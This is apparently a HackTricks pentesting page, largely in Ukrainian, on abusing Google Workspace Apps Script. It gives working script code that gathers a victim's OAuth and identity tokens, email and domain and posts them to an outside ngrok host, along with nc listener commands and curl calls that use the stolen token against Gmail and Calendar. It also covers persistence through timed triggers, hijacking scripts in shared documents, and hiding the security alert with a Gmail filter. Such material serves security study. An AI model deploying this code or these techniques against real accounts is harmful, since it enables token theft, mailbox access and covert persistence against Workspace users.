GWS - App Scripts

Support HackTricks

App Scripts

App Scripts - це код, який буде активовано, коли користувач з правами редактора отримує доступ до документа, з яким пов'язаний App Script і після прийняття запиту OAuth. Вони також можуть бути налаштовані на виконання через певний проміжок часу власником App Script (постійність).

Create App Script

Існує кілька способів створити App Script, хоча найпоширеніші з них - це з Google Документу (будь-якого типу) і як окремий проект:

Create a container-bound project from Google Docs, Sheets, or Slides
  1. Відкрийте документ Docs, електронну таблицю Sheets або презентацію Slides.

  2. Натисніть Розширення > Google Apps Script.

  3. У редакторі скриптів натисніть Без назви проект.

  4. Дайте вашому проекту назву і натисніть Перейменувати.

Create a standalone project

Щоб створити окремий проект з Apps Script:

  1. Перейдіть на script.google.com.

  2. Натисніть Новий проект.

  3. У редакторі скриптів натисніть Без назви проект.

  4. Дайте вашому проекту назву і натисніть Перейменувати.

Create a standalone project from Google Drive
  1. Відкрийте Google Drive.

  2. Натисніть Новий > Інше > Google Apps Script.

Create a container-bound project from Google Forms
  1. Відкрийте форму в Google Forms.

  2. Натисніть Інше more_vert > Редактор скриптів.

  3. У редакторі скриптів натисніть Без назви проект.

  4. Дайте вашому проекту назву і натисніть Перейменувати.

Create a standalone project using the clasp command line tool

clasp - це інструмент командного рядка, який дозволяє вам створювати, завантажувати/вивантажувати та розгортати проекти Apps Script з терміналу.

Дивіться Посібник по інтерфейсу командного рядка за допомогою clasp для отримання додаткової інформації.

App Script Scenario

Create Google Sheet with App Script

Почніть зі створення App Script, моя рекомендація для цього сценарію - створити Google Sheet і перейти до Розширення > App Scripts, це відкриє новий App Script, пов'язаний з таблицею.

Leak token

Щоб надати доступ до токена OAuth, вам потрібно натиснути на Служби + і додати області, такі як:

  • AdminDirectory: Доступ до користувачів і груп каталогу (якщо у користувача достатньо прав)

  • Gmail: Для доступу до даних gmail

  • Drive: Для доступу до даних диска

  • Google Sheets API: Щоб це працювало з тригером

Щоб змінити необхідні області, ви можете перейти до налаштувань проекту і активувати: Показати файл маніфесту "appsscript.json" в редакторі.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Щоб захопити запит, ви можете просто виконати:

ngrok tcp 4444
nc -lv 4444 #macOS

Permissions requested to execute the App Script:

Оскільки зроблено зовнішній запит, запит OAuth також попросить дозволи на доступ до зовнішніх кінцевих точок.

Create Trigger

Після того, як додаток буде прочитано, натисніть на ⏰ Triggers, щоб створити тригер. Як функцію для виконання виберіть getToken, запускається при розгортанні Head, у джерелі події виберіть From spreadsheet і тип події виберіть On open або On edit (згідно з вашими потребами) і збережіть.

Зверніть увагу, що ви можете перевірити виконання App Scripts на вкладці Executions, якщо хочете щось налагодити.

Sharing

Щоб запустити App Script, жертва повинна підключитися з доступом редактора.

Токен, використаний для виконання App Script, буде токеном творця тригера, навіть якщо файл відкритий як редактор іншими користувачами.

Abusing Shared With Me documents

Якщо хтось поділився з вами документом з App Scripts і тригером, використовуючи Head App Script (не фіксоване розгортання), ви можете змінити код App Script (додавши, наприклад, функції для крадіжки токенів), отримати до нього доступ, і App Script буде виконано з дозволами користувача, який поділився з вами документом! (зверніть увагу, що токен OAuth власника матиме такі області доступу, які були надані під час створення тригера).

Сповіщення буде надіслано творцеві скрипта, вказуючи, що хтось змінив скрипт (як щодо використання дозволів gmail для створення фільтра, щоб запобігти сповіщенню?)

Якщо зловмисник змінює області доступу App Script, оновлення не будуть застосовані до документа, поки не буде створено новий тригер з змінами. Тому зловмисник не зможе вкрасти токен власника творця з більшими областями, ніж ті, які він встановив у тригері, який він створив.

Copying instead of sharing

Коли ви створюєте посилання для спільного доступу до документа, створюється посилання, подібне до цього: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Якщо ви зміните закінчення "/edit" на "/copy", замість доступу до нього Google запитає, чи хочете ви створити копію документа:

Якщо користувач копіює його та отримує доступ, як вміст документа, так і App Scripts будуть скопійовані, однак тригери не будуть, тому нічого не буде виконано.

Sharing as Web Application

Зверніть увагу, що також можливо поділитися App Script як веб-додатком (в редакторі App Script, розгорніть як веб-додаток), але з'явиться сповіщення, подібне до цього:

Після цього з'явиться типове сповіщення OAuth, що запитує необхідні дозволи.

Testing

Ви можете протестувати зібраний токен для переліку електронних адрес за допомогою:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Список календаря користувача:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script як постійний доступ

Один з варіантів для постійного доступу - це створити документ і додати тригер для функції getToken та поділитися документом з атакуючим, щоб щоразу, коли атакуючий відкриває файл, він екстрагує токен жертви.

Також можливо створити App Script і налаштувати його тригер на кожен X час (наприклад, кожну хвилину, годину, день...). Атакуючий, який компрометував облікові дані або сесію жертви, може налаштувати тригер часу App Script і щодня витікати дуже привілейований OAuth токен:

Просто створіть App Script, перейдіть до Тригерів, натисніть на Додати тригер і виберіть як джерело події Часовий тригер і виберіть опції, які вам найбільше підходять:

Це створить електронний лист з попередженням про безпеку та push-повідомлення на ваш мобільний телефон.

Обхід неперевіреного запиту спільного документа

Більше того, якщо хтось поділився з вами документом з доступом редактора, ви можете створити App Scripts всередині документа, і ВЛАСНИК (творець) документа буде власником App Script.

Це означає, що творець документа з'явиться як творець будь-якого App Script, який створить будь-хто з доступом редактора всередині нього.

Це також означає, що App Script буде довіреним середовищем Workspace творця документа.

Це також означає, що якщо App Script вже існував і люди надали доступ, будь-хто з дозволом редактора на документ може модифікувати його та зловживати цим доступом. Щоб зловживати цим, вам також потрібно, щоб люди активували App Script. І один з цікавих трюків - це опублікувати скрипт як веб-додаток. Коли люди, які вже надали доступ до App Script, отримають доступ до веб-сторінки, вони активують App Script (це також працює за допомогою тегів <img>).

Підтримати HackTricks

Last updated